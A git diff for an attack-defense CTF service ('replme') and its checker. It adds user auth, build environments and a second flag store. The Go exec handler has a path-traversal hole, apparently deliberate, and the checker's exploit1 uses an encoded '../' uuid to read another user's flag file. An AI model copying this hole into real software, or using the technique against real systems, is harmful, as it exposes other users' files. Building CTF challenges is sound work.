diff --git a/checker/src/checker.py b/checker/src/checker.py index 657eb08..77942ac 100644 --- a/checker/src/checker.py +++ b/checker/src/checker.py @@ -1,3 +1,5 @@ +import string +import random import secrets import re from logging import LoggerAdapter @@ -17,15 +19,25 @@ from httpx import AsyncClient import base64 +from websockets.exceptions import ConnectionClosedError + from exploit import exploit0_apply_delta from noise import get_noise, get_random_noise from util import ( - do_user_auth, + create_devenv, + devenv_websocket, + do_create_devenv, + do_repl_auth, + do_set_devenv_file_content, + do_user_login, + do_user_register, get_sessions, sh, - terminal_websocket, - user_create, + repl_websocket, + repl_create, + repl_login, user_login, + user_register, ) checker = Enochecker("replme", 6969) @@ -42,9 +54,9 @@ async def putflag0( db: ChainDB, logger: LoggerAdapter, ) -> str: - (username, cookies, id) = await user_create(client, db, logger) + (username, cookies, id) = await repl_create(client, db, logger) flag = base64.b64encode(bytes(task.flag, "utf-8")).decode("utf-8") - await terminal_websocket( + await repl_websocket( task.address, logger, cookies, @@ -62,12 +74,12 @@ async def getflag0( db: ChainDB, logger: LoggerAdapter, ) -> None: - (cookies, id) = await user_login(client, db, logger) + (cookies, id) = await repl_login(client, db, logger) flag = ( base64.b64encode(bytes(task.flag, "utf-8")).decode("utf-8").replace("+", "\\+") ) try: - await terminal_websocket( + await repl_websocket( task.address, logger, cookies, @@ -100,8 +112,8 @@ async def exploit0( password = secrets.token_hex(30) - (cookies, id) = await do_user_auth(client, logger, delta_username, password) - response = await terminal_websocket( + (cookies, id) = await do_repl_auth(client, logger, delta_username, password) + response = await repl_websocket( task.address, logger, cookies, @@ -124,12 +136,12 @@ async def putnoise0( db: ChainDB, logger: LoggerAdapter, ): - (_, cookies, id) = await user_create(client, db, logger) + (_, cookies, id) = await repl_create(client, db, logger) sessions = await get_sessions(client, cookies, logger) assert_equals(len(sessions) > 0, True, "No session created") (i, noise) = get_random_noise() - await terminal_websocket( + await repl_websocket( task.address, logger, cookies, @@ -147,7 +159,7 @@ async def getnoise0( db: ChainDB, logger: LoggerAdapter, ): - (cookies, id) = await user_login(client, db, logger) + (cookies, id) = await repl_login(client, db, logger) sessions = await get_sessions(client, cookies, logger) assert_equals(len(sessions) > 0, True, "No session created") try: @@ -157,7 +169,7 @@ async def getnoise0( if not isinstance(i, int): raise MumbleException("noise_id is not a int: " + str(i)) noise = get_noise(i) - await terminal_websocket( + await repl_websocket( task.address, logger, cookies, @@ -196,5 +208,96 @@ async def havoc0( ) +@checker.putflag(1) +async def putflag1( + task: PutflagCheckerTaskMessage, + client: AsyncClient, + db: ChainDB, + logger: LoggerAdapter, +): + (username, password) = await user_register(client, logger, db) + cookies = await do_user_login(client, logger, username, password) + flag = base64.b64encode(bytes(task.flag, "utf-8")).decode("utf-8") + devenvUuid = await create_devenv( + client, logger, cookies, "cat flagstore.txt", "cat flagstore.txt" + ) + await db.set("devenvUuid", devenvUuid) + await do_set_devenv_file_content( + client, logger, cookies, devenvUuid, "flagstore.txt", flag + ) + + return devenvUuid + + +@checker.getflag(1) +async def getflag1( + task: GetflagCheckerTaskMessage, + client: AsyncClient, + db: ChainDB, + logger: LoggerAdapter, +): + cookies = await user_login(client, logger, db) + try: + devenvUuid = await db.get("devenvUuid") + except KeyError: + raise MumbleException("Missing database entry from putflag") + flag = ( + base64.b64encode(bytes(task.flag, "utf-8")).decode("utf-8").replace("+", "\\+") + ) + try: + await devenv_websocket(task.address, logger, cookies, devenvUuid, f".*{flag}.*") + except TimeoutError: + raise MumbleException("Flag was not found") + except ConnectionClosedError: + raise MumbleException("Connection was closed") + + +@checker.exploit(1) +async def exploit1( + task: ExploitCheckerTaskMessage, + client: AsyncClient, + logger: LoggerAdapter, +): + target_devenvUuid = task.attack_info + + if target_devenvUuid is None: + raise MumbleException("No attack_info") + + logger.info("Exploit: " + target_devenvUuid) + + username = "".join(random.choice(string.ascii_lowercase) for _ in range(35)) + password = "".join(random.choice(string.ascii_lowercase) for _ in range(35)) + name = "".join(random.choice(string.ascii_lowercase) for _ in range(10)) + + await do_user_register(client, logger, username, password) + cookies = await do_user_login(client, logger, username, password) + devenvUuid = await do_create_devenv( + client, + logger, + cookies, + name, + "echo FLAG", + "cat flagstore.txt && echo OK", + ) + + try: + response = await devenv_websocket( + task.address, + logger, + cookies, + devenvUuid, + r"FLAG\s*([A-Za-z0-9\+\=\/]+)\s*OK", + f"?uuid={devenvUuid}%2F..%2F{target_devenvUuid}", + ) + match = re.findall(r"FLAG\s*([A-Za-z0-9\+\=\/]+)\s*OK", response) + if len(match) == 0: + return None + + flag = base64.b64decode(match[0]).decode("utf-8") + return flag + except ConnectionClosedError: + raise MumbleException("Connection was closed") + + if __name__ == "__main__": checker.run() diff --git a/checker/src/util.py b/checker/src/util.py index 1903436..772607d 100644 --- a/checker/src/util.py +++ b/checker/src/util.py @@ -89,7 +89,142 @@ def shchain(cmds: List[ShellCommand] = [], validations: List[ShellCommand] = []) return ShellCommandChain(cmds, validations) -async def do_user_auth( +async def do_user_register( + client: AsyncClient, + logger: LoggerAdapter, + username: str, + password: str, +): + response = await client.post( + "/api/auth/register", + data={"username": username, "password": password}, + follow_redirects=True, + ) + + logger.info(f"Server answered: {response.status_code} - {response.text}") + + assert_equals(response.status_code < 300, True, "Creating user failed") + + +async def user_register( + client: AsyncClient, + logger: LoggerAdapter, + db: ChainDB, +) -> tuple[str, str]: + username = "".join(random.choice(string.ascii_lowercase) for _ in range(35)) + password = "".join(random.choice(string.ascii_lowercase) for _ in range(35)) + + logger.info(f"Creating user: {username}:{password}") + await do_user_register(client, logger, username, password) + await db.set("credentials", (username, password)) + + return (username, password) + + +async def do_user_login( + client: AsyncClient, + logger: LoggerAdapter, + username: str, + password: str, +) -> Cookies: + response = await client.post( + "/api/auth/login", + data={"username": username, "password": password}, + follow_redirects=True, + ) + + logger.info(f"Server answered: {response.status_code} - {response.text}") + + assert_equals(response.status_code < 300, True, "Creating user failed") + + cookies = response.cookies + + for k, v in cookies.items(): + logger.info(f"Cookie: {k}={v}") + + return cookies + + +async def user_login( + client: AsyncClient, + logger: LoggerAdapter, + db: ChainDB, +) -> Cookies: + try: + (username, password) = await db.get("credentials") + except KeyError: + raise MumbleException("Missing database entry from putflag") + + logger.info(f"Authenticating user: {username}:{password}") + cookies = await do_user_login(client, logger, username, password) + + return cookies + + +async def do_create_devenv( + client: AsyncClient, + logger: LoggerAdapter, + cookies: Cookies, + name: str, + buildCmd: str, + runCmd: str, +) -> str: + response = await client.post( + "/api/devenv", + json={ + "name": name, + "buildCmd": buildCmd, + "runCmd": runCmd, + }, + follow_redirects=True, + headers={"Cookie": "session=" + (cookies.get("session") or "")}, + ) + logger.info(f"Server answered: {response.status_code} - {response.text}") + assert_equals(response.status_code < 300, True, "Creating devenv failed") + + json = response.json() + devenvUuid = json["devenvUuid"] + assert_equals(id is not None, True, "Did not receive a devenvUuid") + logger.info(f"DevenvUuid: {devenvUuid}") + + return devenvUuid + + +async def create_devenv( + client: AsyncClient, + logger: LoggerAdapter, + cookies: Cookies, + buildCmd: str, + runCmd: str, +) -> str: + logger.info("Creating devenv") + name = "".join(random.choice(string.ascii_lowercase) for _ in range(10)) + devenvUuid = await do_create_devenv(client, logger, cookies, name, buildCmd, runCmd) + return devenvUuid + + +async def do_set_devenv_file_content( + client: AsyncClient, + logger: LoggerAdapter, + cookies: Cookies, + devenvUuid: str, + filename: str, + content: str, +): + response = await client.post( + "/api/devenv/" + devenvUuid + "/files/" + filename, + content=content, + follow_redirects=True, + headers={ + "Content-Type": "text/plain", + "Cookie": "session=" + (cookies.get("session") or ""), + }, + ) + logger.info(f"Server answered: {response.status_code} - {response.text}") + assert_equals(response.status_code < 300, True, "Setting file content failed") + + +async def do_repl_auth( client: AsyncClient, logger: LoggerAdapter, username: str, password: str ) -> tuple[Cookies, str]: response = await client.post( @@ -100,7 +235,7 @@ async def do_user_auth( logger.info(f"Server answered: {response.status_code} - {response.text}") - assert_equals(response.status_code < 300, True, "Creating user failed") + assert_equals(response.status_code < 300, True, "Creating repl user failed") json = response.json() id = json["id"] @@ -115,7 +250,7 @@ async def do_user_auth( return (cookies, id) -async def user_create( +async def repl_create( client: AsyncClient, db: ChainDB, logger: LoggerAdapter, @@ -123,14 +258,14 @@ async def user_create( username = "".join(random.choice(string.ascii_lowercase) for _ in range(60)) password = "".join(random.choice(string.ascii_lowercase) for _ in range(60)) - logger.info(f"Creating user: {username}:{password}") - (cookies, id) = await do_user_auth(client, logger, username, password) + logger.info(f"Creating repl: {username}:{password}") + (cookies, id) = await do_repl_auth(client, logger, username, password) await db.set("credentials", (username, password)) return (username, cookies, id) -async def user_login( +async def repl_login( client: AsyncClient, db: ChainDB, logger: LoggerAdapter, @@ -140,8 +275,8 @@ async def user_login( except KeyError: raise MumbleException("Missing database entry from putflag") - logger.info(f"Authenticating user: {username}:{password}") - (cookies, id) = await do_user_auth(client, logger, username, password) + logger.info(f"Authenticating repl user: {username}:{password}") + (cookies, id) = await do_repl_auth(client, logger, username, password) return (cookies, id) @@ -158,16 +293,16 @@ async def get_sessions( logger: LoggerAdapter, ) -> List[str]: response = await client.get( - "/api/user/sessions", + "/api/repl/sessions", follow_redirects=True, headers={"Cookie": "session=" + (cookies.get("session") or "")}, ) logger.info(f"Server answered: {response.status_code} - {response.text}") - assert_equals(response.status_code < 300, True, "Getting sessions failed") + assert_equals(response.status_code < 300, True, "Getting repl sessions failed") json = response.json() assert_equals(is_list_of_str(json), True, "Did not receive valid sessions obj") - logger.info(f"Sessions: {json}") + logger.info(f"Repl-Sessions: {json}") return json @@ -202,7 +337,7 @@ async def websocket_recv_until( return payload -async def terminal_websocket( +async def repl_websocket( address: str, logger: LoggerAdapter, cookies: Cookies, @@ -227,3 +362,21 @@ async def terminal_websocket( response += _response return response + + +async def devenv_websocket( + address: str, + logger: LoggerAdapter, + cookies: Cookies, + devenvUuid: str, + expect: str, + query: str = "", +): + url = f"ws://{address}:6969/api/devenv/{devenvUuid}/exec{query}" + response = "" + cookie = cookies.get("session") + async with websockets.connect( + url, extra_headers={"Cookie": f"session={cookie}"} + ) as websocket: + response = await websocket_recv_until(websocket, expect, None) + return response diff --git a/service/Dockerfile.backend b/service/Dockerfile.backend index 52e264f..de24e81 100644 --- a/service/Dockerfile.backend +++ b/service/Dockerfile.backend @@ -1,5 +1,4 @@ -FROM node:alpine -RUN apk add g++ make py3-pip go +FROM golang WORKDIR /root @@ -13,5 +12,5 @@ COPY ./image ./image EXPOSE 6969/tcp -ENTRYPOINT ["./backend/out/main", "-i", "./image", "-k", "/apikey/key.txt"] +ENTRYPOINT ["./backend/out/main", "-i", "./image", "-k", "/apikey/key.txt", "-f", "/devenvs", "-t", "/devenvs-tmp"] diff --git a/service/backend/controller/auth.go b/service/backend/controller/auth.go new file mode 100644 index 0000000..0dbf532 --- /dev/null +++ b/service/backend/controller/auth.go @@ -0,0 +1,134 @@ +package controller + +import ( + "net/http" + "regexp" + "replme/database" + "replme/model" + "replme/types" + + "github.com/gin-contrib/sessions" + "github.com/gin-gonic/gin" + "golang.org/x/crypto/bcrypt" +) + +type AuthController struct{} + +func NewAuthController() AuthController { + return AuthController{} +} + +func (auth *AuthController) Register(ctx *gin.Context) { + var registerRequest types.RegisterRequest + if err := ctx.ShouldBind(®isterRequest); err != nil { + ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + if len(registerRequest.Username) < 4 || len(registerRequest.Username) > 64 || !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(registerRequest.Username) { + ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal username"}) + return + } + + if len(registerRequest.Password) < 4 || len(registerRequest.Password) > 64 { + ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal username"}) + return + } + + var userFound model.User + database.DB.Where("username = ?", registerRequest.Username).Find(&userFound) + + if userFound.ID != 0 { + ctx.JSON(http.StatusBadRequest, gin.H{"error": "User exists"}) + return + } + + passwordHash, err := bcrypt.GenerateFromPassword([]byte(registerRequest.Password), bcrypt.DefaultCost) + if err != nil { + ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + user := model.User{ + Username: registerRequest.Username, + Password: string(passwordHash), + } + + database.DB.Create(&user) + + ctx.Status(http.StatusOK) +} + +func (auth *AuthController) Login(ctx *gin.Context) { + var loginRequest types.LoginRequest + if err := ctx.ShouldBind(&loginRequest); err != nil { + ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + if len(loginRequest.Username) < 4 || len(loginRequest.Username) > 64 || !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(loginRequest.Username) { + ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal username"}) + return + } + + if len(loginRequest.Password) < 4 || len(loginRequest.Password) > 64 { + ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal username"}) + return + } + + var userFound model.User + database.DB.Where("username = ?", loginRequest.Username).Find(&userFound) + + if userFound.ID == 0 { + ctx.JSON(http.StatusNotFound, gin.H{"error": "User not found"}) + return + } + + if err := bcrypt.CompareHashAndPassword([]byte(userFound.Password), []byte(loginRequest.Password)); err != nil { + ctx.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid password"}) + return + } + + session := sessions.Default(ctx) + authType := session.Get("auth_type") + if authType == nil || authType == "bare" { + session.Set("auth_type", "full") + session.Set("current_user_id", userFound.ID) + session.Save() + } + + ctx.Status(http.StatusOK) +} + +func (auth *AuthController) GetUser(ctx *gin.Context) { + session := sessions.Default(ctx) + authType := session.Get("auth_type") + currentUserId := session.Get("current_user_id") + + if authType == nil || authType != "full" || currentUserId == nil || currentUserId == uint(0) { + ctx.AbortWithStatusJSON(http.StatusUnauthorized, &gin.H{ + "error": "Unauthorized", + }) + return + } + + var user []model.User + database.DB.Where("id = ?", currentUserId).Find(&user) + + if len(user) == 0 { + ctx.AbortWithStatusJSON(http.StatusUnauthorized, &gin.H{ + "error": "User not found", + }) + return + } + + ctx.JSON(http.StatusOK, user[0]) +} + +func (auth *AuthController) Logout(ctx *gin.Context) { + session := sessions.Default(ctx) + session.Set("auth_type", "bare") + session.Delete("current_user_id") + session.Save() + ctx.Status(http.StatusOK) +} diff --git a/service/backend/controller/devenv.go b/service/backend/controller/devenv.go new file mode 100644 index 0000000..365547a --- /dev/null +++ b/service/backend/controller/devenv.go @@ -0,0 +1,386 @@ +package controller + +import ( + "fmt" + "io" + "net/http" + "os" + "path/filepath" + "strings" + + "replme/database" + "replme/model" + "replme/service" + "replme/types" + "replme/util" + + "github.com/gin-gonic/gin" + guuid "github.com/google/uuid" + "github.com/gorilla/websocket" +) + +type DevenvController struct { + Docker *service.DockerService + Upgrader websocket.Upgrader + DevenvFilesPath string + DevenvFilesPathTmp string +} + +func NewDevenvController(docker *service.DockerService, devenvFilesPath string, devenvFilesTmpPath string) DevenvController { + return DevenvController{ + Docker: docker, + Upgrader: websocket.Upgrader{ + // ReadBufferSize: 1024, + // WriteBufferSize: 1024, + CheckOrigin: func(r *http.Request) bool { + return true + }, + }, + DevenvFilesPath: devenvFilesPath, + DevenvFilesPathTmp: devenvFilesTmpPath, + } +} + +func (devenv *DevenvController) GetAll(ctx *gin.Context) { + _user, _ := ctx.Get("current_user") + user := _user.(model.User) + + var devenvs []model.Devenv + err := database.DB.Model(user).Association("Devenvs").Find(&devenvs) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + ctx.JSON(http.StatusOK, devenvs) +} + +func (devenv *DevenvController) GetOne(ctx *gin.Context) { + _user, _ := ctx.Get("current_user") + user := _user.(model.User) + + id := ctx.Param("uuid") + + var devenvs []model.Devenv + err := database.DB.Model(&user).Where("id = ?", id).Association("Devenvs").Find(&devenvs) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + if len(devenvs) == 0 { + ctx.AbortWithStatusJSON(http.StatusNotFound, &gin.H{ + "error": "Not found", + }) + return + } + + ctx.JSON(http.StatusOK, devenvs[0]) +} + +func (devenv *DevenvController) Create(ctx *gin.Context) { + _user, _ := ctx.Get("current_user") + user := _user.(model.User) + + var createDevenvRequest types.CreateDevenvRequest + if err := ctx.ShouldBind(&createDevenvRequest); err != nil { + ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + currentDevenv := model.Devenv{ + Public: false, + Name: createDevenvRequest.Name, + BuildCmd: createDevenvRequest.BuildCmd, + RunCmd: createDevenvRequest.RunCmd, + } + + err := database.DB.Model(&user).Association("Devenvs").Append(¤tDevenv) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + dir := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID) + err = util.SetFileContent(dir, "main.c", "") + + ctx.JSON(http.StatusOK, types.CreateDevenvResponse{ + DevenvUuid: currentDevenv.ID, + }) +} + +func (devenv *DevenvController) Patch(ctx *gin.Context) { + _user, _ := ctx.Get("current_user") + user := _user.(model.User) + + var patchDevenvRequest types.PatchDevenvRequest + if err := ctx.ShouldBind(&patchDevenvRequest); err != nil { + ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + id := ctx.Param("uuid") + + var devenvs []model.Devenv + err := database.DB.Model(&user).Where("id = ?", id).Association("Devenvs").Find(&devenvs) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + if len(devenvs) == 0 { + ctx.AbortWithStatusJSON(http.StatusNotFound, &gin.H{ + "error": "Not found", + }) + return + } + + if patchDevenvRequest.Name != "" { + devenvs[0].Name = patchDevenvRequest.Name + } + + if patchDevenvRequest.BuildCmd != "" { + devenvs[0].Name = patchDevenvRequest.BuildCmd + } + + if patchDevenvRequest.RunCmd != "" { + devenvs[0].Name = patchDevenvRequest.RunCmd + } + + database.DB.Save(&devenvs[0]) + + ctx.Status(http.StatusOK) +} + +func (devenv *DevenvController) GetFiles(ctx *gin.Context) { + _devenv, _ := ctx.Get("current_devenv") + currentDevenv := _devenv.(model.Devenv) + + dir := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID) + err := util.MakeDirIfNotExists(dir) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + entries, err := os.ReadDir(dir) + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + files := []string{} + for _, e := range entries { + files = append(files, e.Name()) + } + + ctx.JSON(http.StatusOK, files) +} + +func (devenv *DevenvController) CreateFile(ctx *gin.Context) { + _devenv, _ := ctx.Get("current_devenv") + currentDevenv := _devenv.(model.Devenv) + + var createFileRequest types.CreateFileRequest + if err := ctx.ShouldBind(&createFileRequest); err != nil { + ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + if !util.IsValidFilename(createFileRequest.Name) { + ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal filename"}) + return + } + + dir := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID) + err := util.TouchIfNotExists(dir, createFileRequest.Name) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + ctx.Status(http.StatusOK) +} + +func (devenv *DevenvController) GetFileContent(ctx *gin.Context) { + _devenv, _ := ctx.Get("current_devenv") + currentDevenv := _devenv.(model.Devenv) + + name := ctx.Param("name") + + path := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID, name) + content, err := util.GetFileContent(path) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + ctx.String(http.StatusOK, content) +} + +func (devenv *DevenvController) SetFileContent(ctx *gin.Context) { + _devenv, _ := ctx.Get("current_devenv") + currentDevenv := _devenv.(model.Devenv) + + name := ctx.Param("name") + + if !util.IsValidFilename(name) { + ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal filename"}) + return + } + + body, err := io.ReadAll(ctx.Request.Body) + if err != nil { + ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + dir := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID) + err = util.SetFileContent(dir, name, string(body)) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + ctx.Status(http.StatusOK) +} + +func (devenv *DevenvController) DeleteFile(ctx *gin.Context) { + _devenv, _ := ctx.Get("current_devenv") + currentDevenv := _devenv.(model.Devenv) + + name := ctx.Param("name") + + path := filepath.Join(devenv.DevenvFilesPath, currentDevenv.ID, name) + err := util.DeleteFile(path) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + ctx.Status(http.StatusOK) +} + +func (devenv *DevenvController) Exec(ctx *gin.Context) { + _uuid, _ := ctx.Get("uuid") + uuid := _uuid.(string) + + _devenv, _ := ctx.Get("current_devenv") + currentDevenv := _devenv.(model.Devenv) + + src := filepath.Join(devenv.DevenvFilesPath, uuid) + + if !strings.HasPrefix(src, devenv.DevenvFilesPath) { + ctx.AbortWithStatusJSON(http.StatusBadRequest, &gin.H{ + "error": "Invalid uuid", + }) + return + } + + tmpUuid := guuid.New().String() + + target := filepath.Join(devenv.DevenvFilesPathTmp, tmpUuid) + util.SLogger.Debugf("Copying %s -> %s", src, target) + + err := util.CopyRecurse(src, target) + if err != nil { + util.SLogger.Warnf("Copying devenv container failed, %s", err.Error()) + ctx.AbortWithStatusJSON(http.StatusBadRequest, types.ErrorResponse{ + Error: "Could not copy src dir", + }) + return + } + + defer func() { + util.SLogger.Debugf("Deleting dir %s", target) + err := util.DeleteDir(target) + if err != nil { + util.SLogger.Warnf("Failed to delete dir %s, %s", target, err.Error()) + } + }() + + id, _, port, err := devenv.Docker.EnsureDevenvContainerStarted(target) + + if err != nil { + util.SLogger.Warnf("Creating devenv container failed, %s", err.Error()) + ctx.AbortWithStatusJSON(http.StatusBadRequest, types.ErrorResponse{ + Error: err.Error(), + }) + return + } + + defer func() { + util.SLogger.Debugf("Removing container with id %s", (*id)[:5]) + err := devenv.Docker.RemoveContainerById(*id) + if err != nil { + util.SLogger.Warnf("Removing container with id %s failed, %s", (*id)[:5], err.Error()) + } + }() + + p := service.Proxy(devenv.Docker.HostIP, *port, devenv.Docker.ApiKey) + + username, _ := util.RandomString(50) + password, _ := util.RandomString(50) + + response, requestError := p.SendRegisterRequest( + types.RegisterRequest{ + Username: username, + Password: password, + }, + &types.RequestOptions{ + Retries: 10, + }, + ) + + if requestError != nil { + ctx.Data(requestError.Code, requestError.ContentType, requestError.Data) + ctx.Abort() + return + } + + command := fmt.Sprintf("%s && %s", currentDevenv.BuildCmd, currentDevenv.RunCmd) + + cookie := response.Cookies()[0] + + clientConn, err := devenv.Upgrader.Upgrade(ctx.Writer, ctx.Request, nil) + if err != nil { + ctx.AbortWithError(http.StatusBadRequest, err) + return + } + + defer clientConn.Close() + err = p.CreateExecWebsocketPipe(clientConn, *cookie, target, command) + if err != nil { + ctx.AbortWithError(http.StatusBadRequest, err) + return + } +} diff --git a/service/backend/controller/repl.go b/service/backend/controller/repl.go index ec00df4..d6efa4e 100644 --- a/service/backend/controller/repl.go +++ b/service/backend/controller/repl.go @@ -36,18 +36,18 @@ func NewReplController(docker *service.DockerService, replState *service.ReplSta } func (repl *ReplController) Create(ctx *gin.Context) { - var loginRequest types.LoginRequest - if err := ctx.ShouldBind(&loginRequest); err != nil { + var createReplRequest types.CreateReplRequest + if err := ctx.ShouldBind(&createReplRequest); err != nil { ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) return } - util.SLogger.Debugf("[%-25s] Creating new REPL user", fmt.Sprintf("UN:%s..", loginRequest.Username[:5])) + util.SLogger.Debugf("[%-25s] Creating new REPL user", fmt.Sprintf("UN:%s..", createReplRequest.Username[:5])) - hash := repl.CRC.Calculate(util.DecodeSpecialChars([]byte(loginRequest.Username))) + hash := repl.CRC.Calculate(util.DecodeSpecialChars([]byte(createReplRequest.Username))) name := fmt.Sprintf("%x", hash) - util.SLogger.Debugf("[%-25s] Created new REPL user", fmt.Sprintf("UN:%s.. | NM:%s..", loginRequest.Username[:5], name[:5])) + util.SLogger.Debugf("[%-25s] Created new REPL user", fmt.Sprintf("UN:%s.. | NM:%s..", createReplRequest.Username[:5], name[:5])) session := sessions.Default(ctx) auth_type := session.Get("auth_type") @@ -56,9 +56,9 @@ func (repl *ReplController) Create(ctx *gin.Context) { session.Save() } - util.SLogger.Debugf("[%-25s] Saving session %s..", fmt.Sprintf("UN:%s.. | NM:%s..", loginRequest.Username[:5], name[:5]), session.ID()[:5]) + util.SLogger.Debugf("[%-25s] Saving session %s..", fmt.Sprintf("UN:%s.. | NM:%s..", createReplRequest.Username[:5], name[:5]), session.ID()[:5]) - repl.ReplState.AddUserSession(session.ID(), name, loginRequest.Username, loginRequest.Password) + repl.ReplState.AddUserSession(session.ID(), name, createReplRequest.Username, createReplRequest.Password) ctx.JSON(http.StatusOK, types.AddReplUserResponse{ Id: name, @@ -66,6 +66,20 @@ func (repl *ReplController) Create(ctx *gin.Context) { return } +func (repl *ReplController) Sessions(ctx *gin.Context) { + session := sessions.Default(ctx) + auth_type := session.Get("auth_type") + if session.ID() == "" || auth_type == nil { + ctx.AbortWithStatusJSON(http.StatusUnauthorized, types.ErrorResponse{ + Error: "Unauthorized", + }) + return + } + util.SLogger.Debugf("[%-25s] Get sessions", fmt.Sprintf("ID:%s..", session.ID()[:5])) + names := repl.ReplState.GetContainerNames(session.ID()) + ctx.JSON(http.StatusOK, names) +} + func (repl *ReplController) Websocket(ctx *gin.Context) { session := sessions.Default(ctx) @@ -113,7 +127,7 @@ func (repl *ReplController) Websocket(ctx *gin.Context) { util.SLogger.Debugf("[%-25s] Creating container", fmt.Sprintf("UN:%s.. | NM:%s..", user.Username[:5], name[:5])) lock := repl.Docker.MutexMap.Lock(name) - _, port, err := repl.Docker.EnsureContainerStarted(name) + _, port, err := repl.Docker.EnsureReplContainerStarted(name) lock.Unlock() if err != nil { @@ -151,7 +165,7 @@ func (repl *ReplController) Websocket(ctx *gin.Context) { } defer clientConn.Close() - err = p.CreateWebsocketPipe(clientConn, *cookie) + err = p.CreateReplWebsocketPipe(clientConn, *cookie) if err != nil { ctx.AbortWithError(http.StatusBadRequest, err) return diff --git a/service/backend/controller/user.go b/service/backend/controller/user.go deleted file mode 100644 index f2c51fc..0000000 --- a/service/backend/controller/user.go +++ /dev/null @@ -1,36 +0,0 @@ -package controller - -import ( - "fmt" - "net/http" - "replme/service" - "replme/types" - "replme/util" - - "github.com/gin-contrib/sessions" - "github.com/gin-gonic/gin" -) - -type UserController struct { - ReplState *service.ReplStateService -} - -func NewUserController(replState *service.ReplStateService) UserController { - return UserController{ - ReplState: replState, - } -} - -func (user *UserController) Sessions(ctx *gin.Context) { - session := sessions.Default(ctx) - auth_type := session.Get("auth_type") - if session.ID() == "" || auth_type == nil { - ctx.AbortWithStatusJSON(http.StatusUnauthorized, types.ErrorResponse{ - Error: "Unauthorized", - }) - return - } - util.SLogger.Debugf("[%-25s] Get sessions", fmt.Sprintf("ID:%s..", session.ID()[:5])) - names := user.ReplState.GetContainerNames(session.ID()) - ctx.JSON(http.StatusOK, names) -} diff --git a/service/backend/database/init.go b/service/backend/database/init.go new file mode 100644 index 0000000..a1cb514 --- /dev/null +++ b/service/backend/database/init.go @@ -0,0 +1,32 @@ +package database + +import ( + "log" + "os" + + "replme/model" + + "gorm.io/driver/sqlite" + "gorm.io/gorm" +) + +var DB *gorm.DB + +func Connect() { + sqlitePath := os.Getenv("REPL_SQLITE") + + if sqlitePath == "" { + log.Fatal("No Sqlitepath") + } + + var err error + DB, err = gorm.Open(sqlite.Open(sqlitePath), &gorm.Config{}) + + if err != nil { + log.Fatal("Failed to connect to DB:", err) + } +} + +func Migrate() { + DB.AutoMigrate(&model.User{}, &model.Devenv{}) +} diff --git a/service/backend/go.mod b/service/backend/go.mod index 67544d2..099472e 100644 --- a/service/backend/go.mod +++ b/service/backend/go.mod @@ -8,8 +8,13 @@ require ( github.com/gin-contrib/cors v1.7.2 github.com/gin-contrib/sessions v1.0.1 github.com/gin-gonic/gin v1.9.1 + github.com/google/uuid v1.3.0 github.com/gorilla/websocket v1.5.1 + github.com/otiai10/copy v1.14.0 go.uber.org/zap v1.27.0 + golang.org/x/crypto v0.22.0 + gorm.io/driver/sqlite v1.4.4 + gorm.io/gorm v1.25.10 ) require ( @@ -36,11 +41,14 @@ require ( github.com/gorilla/context v1.1.2 // indirect github.com/gorilla/securecookie v1.1.2 // indirect github.com/gorilla/sessions v1.2.2 // indirect + github.com/jinzhu/inflection v1.0.0 // indirect + github.com/jinzhu/now v1.1.5 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/klauspost/compress v1.17.7 // indirect github.com/klauspost/cpuid/v2 v2.2.7 // indirect github.com/leodido/go-urn v1.4.0 // indirect github.com/mattn/go-isatty v0.0.20 // indirect + github.com/mattn/go-sqlite3 v1.14.16 // indirect github.com/moby/docker-image-spec v1.3.1 // indirect github.com/moby/patternmatcher v0.6.0 // indirect github.com/moby/sys/sequential v0.5.0 // indirect @@ -65,8 +73,8 @@ require ( go.opentelemetry.io/otel/trace v1.26.0 // indirect go.uber.org/multierr v1.10.0 // indirect golang.org/x/arch v0.7.0 // indirect - golang.org/x/crypto v0.22.0 // indirect golang.org/x/net v0.24.0 // indirect + golang.org/x/sync v0.6.0 // indirect 